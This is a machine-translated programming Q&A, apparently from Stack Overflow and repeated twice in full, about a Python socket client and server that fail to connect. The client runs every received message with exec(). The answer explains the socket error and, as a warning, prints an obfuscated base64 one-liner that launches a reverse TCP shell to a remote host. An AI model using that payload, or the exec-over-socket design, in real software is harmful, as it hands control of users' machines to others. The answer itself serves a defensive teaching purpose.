python 两个不同机器上的套接字未连接
python sockets not connecting on two different machines
最近在python学习了套接字库。我正在编写游戏的多人服务器代码,但在编写整个多人服务器代码之前,我决定编写一个小型服务器代码,只是为了查看服务器在 python 中的工作方式。当我对服务器进行编码时,当我 运行 我自己的 windows 10 台计算机上的客户端和服务器时,我的代码工作正常,这很尴尬,它连接并正常工作(它的工作是两个获取 IP来自主机名,但客户端将发送主机名,获取 IP 的代码在服务器中执行并发送回客户端)但是当我与我的朋友共享客户端文件时,客户端和服务器没有连接,没有错误消息或其他东西,防火墙没有阻止任何连接,那么他们为什么不连接?这是服务器文件中的代码(打印语句只是为了制作加载条效果):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
和客户端中的代码:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(忽略注释代码,我只是保留了它以便需要时可以将其复制到其他文件中)
附加信息(我之前错过了):在 client.py
文件中,您会看到最后几行是 try
和 except OSError
块。我添加了这个块,因为我不知道为什么但是当我 运行 客户端时,我得到这个错误:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
当我使用 try
和 except
块隐藏此错误时,没有区别,客户端工作正常,没有显示任何问题。有谁知道为什么会这样?
An operation was attempted on something that is not a socket
通常意味着您正试图在一个关闭的套接字上进行操作。我没有 运行 你的代码,但我相信正在发生的事情是你让你的服务器向客户端发送一个命令,然后指示客户端关闭。然而,客户端试图接受来自服务器的无限消息; 即使客户端的套接字已关闭。
要么让客户端只接受一条消息,要么停止让服务器告诉客户端自行关闭。
我会将客户端代码更改为如下所示:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
现在客户端可以按ctrl+c退出。
另外,永远不要像你一样使用exec
;尤其是在不检查您要 exec
的情况下。如果服务器曾经遭到破坏,或者服务器所有者变得恶意,或者如果您交换了它并让客户端向服务器发送命令,那么您就可以让机器 运行ning exec
变得妥协。如果套接字的发送端发送这样的代码例如:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
这会导致 exec
'ing 计算机启动反向 TCP shell,并将其计算机的控制权交给另一台计算机!然后另一端就可以在您的计算机上做他们想做的任何事情(或者,至少他们有访问权限可以做任何事情)。
你永远不应该真正使用 eval
或 exec
除非它被用在用户代码永远不会输入的地方。将用户输入直接输入 exec
非常危险,应不惜一切代价避免。
最近在python学习了套接字库。我正在编写游戏的多人服务器代码,但在编写整个多人服务器代码之前,我决定编写一个小型服务器代码,只是为了查看服务器在 python 中的工作方式。当我对服务器进行编码时,当我 运行 我自己的 windows 10 台计算机上的客户端和服务器时,我的代码工作正常,这很尴尬,它连接并正常工作(它的工作是两个获取 IP来自主机名,但客户端将发送主机名,获取 IP 的代码在服务器中执行并发送回客户端)但是当我与我的朋友共享客户端文件时,客户端和服务器没有连接,没有错误消息或其他东西,防火墙没有阻止任何连接,那么他们为什么不连接?这是服务器文件中的代码(打印语句只是为了制作加载条效果):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
和客户端中的代码:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(忽略注释代码,我只是保留了它以便需要时可以将其复制到其他文件中)
附加信息(我之前错过了):在 client.py
文件中,您会看到最后几行是 try
和 except OSError
块。我添加了这个块,因为我不知道为什么但是当我 运行 客户端时,我得到这个错误:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
当我使用 try
和 except
块隐藏此错误时,没有区别,客户端工作正常,没有显示任何问题。有谁知道为什么会这样?
An operation was attempted on something that is not a socket
通常意味着您正试图在一个关闭的套接字上进行操作。我没有 运行 你的代码,但我相信正在发生的事情是你让你的服务器向客户端发送一个命令,然后指示客户端关闭。然而,客户端试图接受来自服务器的无限消息; 即使客户端的套接字已关闭。
要么让客户端只接受一条消息,要么停止让服务器告诉客户端自行关闭。
我会将客户端代码更改为如下所示:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
现在客户端可以按ctrl+c退出。
另外,永远不要像你一样使用exec
;尤其是在不检查您要 exec
的情况下。如果服务器曾经遭到破坏,或者服务器所有者变得恶意,或者如果您交换了它并让客户端向服务器发送命令,那么您就可以让机器 运行ning exec
变得妥协。如果套接字的发送端发送这样的代码例如:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
这会导致 exec
'ing 计算机启动反向 TCP shell,并将其计算机的控制权交给另一台计算机!然后另一端就可以在您的计算机上做他们想做的任何事情(或者,至少他们有访问权限可以做任何事情)。
你永远不应该真正使用 eval
或 exec
除非它被用在用户代码永远不会输入的地方。将用户输入直接输入 exec
非常危险,应不惜一切代价避免。